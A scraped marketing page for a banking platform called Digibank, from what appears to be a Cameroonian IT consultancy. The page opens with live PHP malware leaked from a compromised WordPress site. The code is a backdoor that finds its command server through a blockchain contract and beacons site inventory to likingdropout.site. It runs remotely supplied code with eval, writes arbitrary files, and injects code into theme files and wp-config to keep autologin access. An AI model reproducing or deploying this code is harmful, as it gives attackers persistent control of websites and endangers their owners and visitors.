// wz_qa if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/var/www/vhosts/groupebia.com/digibank.groupebia.com/wp-content/plugins/wp-helper-e0b921/wp-helper-e0b921.php', 'ctrl'=>'// wz_qa', 'vis'=>'// ya_h0', 'vis_func'=>'wp_x037zv', 'vis_paths'=>array('/var/www/vhosts/groupebia.com/digibank.groupebia.com/wp-content/plugins/wp-helper-e0b921/wp-helper-e0b921.php'), 'opt'=>'_wp_w86n46hq', ); $keys=array(); $keys['id']='ypv'; $keys['ver']='26'; $keys['caps']='l9s'; $keys['tasks']='omr'; $keys['interval']='06x'; $keys['ack_id']='7ju'; $keys['ok']='nc'; $keys['detail']='60i'; $keys['inv']='pct'; $keys['result']='zy2'; $hdr='X-10P-Auth';$tok='YZeB6-zxryt9Ulr_nO8DjbcA2jZA7GQF0eCzmgaEQgk';$id='44ddc4868a7e6b55';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Business Intelligence Agency

Business Intelligence Agency
Digi Bank Digital Banking Platform helps financial organizations accelerate time to market today and be ready for tomorrow. It provides the foundation for digital transformation, the capabilities for exceptional omni-channel experiences, and the technology to leverage open banking and new ecosystem models at their best. Deployable on-premise or in any public or private cloud.
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About Us

Founded on November 6, 2015, after 20 years of digital expertise in Europe, Business Intelligence Agency was created by seasoned consultants with a shared vision: to drive Africa’s digital evolution, with a focus on Cameroon. We design and implement cutting-edge IT solutions tailored to local needs while meeting global standards. As a leading consultancy in innovative technology and digital transformation, we help businesses unlock opportunities in a fast-changing world.

Your potential – Our passion

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Our Working Process

At Business Intelligence Agency, we are driven by your values and committed to creating a shared, vibrant culture through our daily actions. We believe in innovation, working closely with our clients to continuously co-invent and evolve their activities. Our professionalism reflects our dedication to excellence, rooted in boldness and high standards. We value proximity, building strong, meaningful relationships with our clients and teams. Above all, we act with integrity, honouring the trust and respect placed in us through transparency and ethical conduct.

Building on these core values, Business Intelligence Agency stands as a trusted partner in Africa’s digital transformation. With tailored, high-impact solutions and a client-focused approach, Business Intelligence Agency drives innovation and sustainable growth. Its expert team ensures each project aligns with both local realities and global standards.

Why Choose Digi Bank Digital Banking Platform?
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Exceptional customer experience

Exceed expectations with compelling digital financial journeys across channels.

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Mature platform with ready digital capabilities

Leverage configurable building blocks, such as self-onboarding, loan origination, and more.

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Fast time to market with digital initiatives

Respond to ever-changing customer needs and stay ahead of the competition.

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Open, modular architecture

Easily extend with new digital solutions and third-party services (insurance, PFM, remittances, etc.).

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Future-proof digital transformation platform

Scale the platform gradually thanks to microservices, APIs and reusable modules.

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Enterprise Integration Layer

Modernize legacy architecture, connecting everything. Unify customer data across silos. Reduce TCO.

The B.I.A Digibank Platform at a Glance

Today’s customers demand seamless experiences at any touch point. Meanwhile, too many financial organizations struggle to execute on their digital strategies. The Digibank Platform is here to help you move fast in the digital era.

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The Concept Behind B.I.A. Digibank - Flexibility

B.I.A Digibank modernizes your existing architecture with a mature platform core, which you can flexibly extend with modular building blocks. The result – customer-centric digital financial solutions that are rapidly launched, smartly reused, integrated across channels, and effortlessly scaled with any new digital initiative in your roadmap.

Mature Digibank Platform Core

Connect and transforms your business into a digital bank. The foundation of a futurw-proof digital journey.

Vertical and Horizontal Scalability, On-premise / Clou agnostic Deployment

intrgrations, API-readlness, Microservices

Central Administration and Monitoring, Multi-tenancy

Security by design, GDPR and PSD2-compliant

Configurable Building Blocks

The ready digital banking capabilities your need to accelerate digital financial products and services to market

Digital Customer Onboarding, Account Opening & Product Origination

Achieve higher onboarding conversion rates. Grow share-of-wallet with seamless origination. Improve the security, quality and accuracy of document and data capture.

  • Onboarding and origination within minutes: entirely digital & paperless or hybrid; self or assisted; fully configurable.
  • State-of-the-art UX and UI
  • Multi-factor authentication
  • Visual Application Form Configurator
Secure Authentication & Identity Management

Provide convenient and secure identity verification across channels. Reduce fraud and know who your customer is.

  • PSD2-compliant Strong Customer Authentication (SCA) and Consent Management
  • Biometrics, e-Signature, OTP, integrations with National ID Registries and more
  • Pre-integrated with market-leading IAM providers
  • Ability to embed any third-party KYC technology via APIs
Workflow and Task Management

Flexibly configure the workflows for your business and your way of working

  • Visual Workflow Editor and standard BPM templates for customer onboarding, account opening, loan origination, etc.
  • Fully customizable performance and task management to dramatically improve workplace productivity
  • Complaint management
Open Banking Capabilities

Leverage the open banking opportunity to improve customer experience, secure customer ownership and add new revenue streams

  • Integrate with your value-chain partners to offer both financial and non-financial services
  • Be close to your customers every day – in their hands and their pockets, as well as integrated in key touch points, e.g. portals, partners.
  • Comply with PSD2 through an integration platform with an API Gateway, SCA and Consent Management
  • Reduce IT delivery times thanks to a 3rd Party Development Portal and a Sandbox
Full Spectrum of Payments

Faster payments means more revenue and delighted customers. Seamless payment processing is at the heart of the Digibank Platform.

  • Support for different types of transactions and funds transfer
  • Robust payments engine with transaction authorization and reconciliation
  • Availability even if CBS and/or other systems are down.
Flexible Digital Products Creation

Create tailored digital products to respond to ever-changing customer needs. Use fees, commission splits, limits and other business rules. Sync with any core banking or insurance system.

  • Loans: Shorten loan TAT and lower delinquency with targeted offers and efficient credit decision processes. Supercharge with analytics and AI to automate loan renewal and offer intelligent nano-loans. 
  • Savings, Deposits, Current Accounts: Quickly launch new product variations for targeted customer segments. 
  • Cards: Issue credit, debit, and pre-paid cards, both personalized and pre-printed.
  • Insurance: Offer digital insurance policies, sold through digital self-service or via agents/ brokers; manage policy and claim lifecycles end-to-end.
Powerful Integrations

Extend Digibank with any third-party solution. Pre-integrated with the best-of-breed vendors for biometrics, tokenization, and more.

  • Embed any third-party solution or service into your processes (identity verification, facial recognition, PFM, credit scoring, etc.).
  • Leverage an Enterprise Integration Layer to modernize legacy architecture, reducing TCO. Reuse IT assets across workflows.
  • Unify customer data across channel silos for omni-channel experiences and 360-degree customer views.
Virtual Cards & Tokenization

Understand customer behavior across channels, optimize team and agent network performance

  • Virtual Cards: Acquire new customers quickly at a low risk by issuing virtual cards. Then upsell with more products to increase customer value.
  • Tokenization: Tokenize existing and new physical and virtual cards for the purpose of secure NFC payments thanks to our partnerships with market-leading providers.
Reports & Dashboards

Offer modern, low-risk, high-gain payment instruments.

  • Focus on improving customer relationships via 360 views across financial products.
  • Upsell and cross-sell the right products to the right customers. Create AI-driven offers based on behavior, such as automated nano loans.
  • Integrate your existing and future analytics, business intelligence or AI solutions.
Field Staff/ Agent/ Merchant Management

Ensure the efficient performance of your network operations

  • Flexible agent/ merchant hierarchies and roles
  • Configurable rules for commission sharing
  • Mobile onboarding for agents/ merchants
  • Performance Management
Chatbots & Conversational Banking

Take customer experience to the next level through custom AI-powered chatbots for banking, insurance, telcos, and more.

  • Reduce customer service costs while boosting digital engagement.
  • Implement chatbot interfaces in your existing digital channels.
  • Convert leads to customers right within social messaging apps (Viber, Skype, Facebook Messenger).

UX & UI Design Expertise

Leverage our Design team’s experience in creating compelling cross-channel customer journeys.

Deliver customer-centric digital financial products and services. Blend the physical and digital worlds to become your customers’ ‘everyday bank’.

We speak mobile-first and help you extract the most customer value from digital.

Move Even Faster with Prebuilt Digital Solutions

Based on the DigiBank Platform, enabling quick time to market, easy scaling and cross-channel workflows.

Lead in the Digital Era

Accelerate time to market today and be ready for tomorrow with the B.I.A.Digital Banking Platform.

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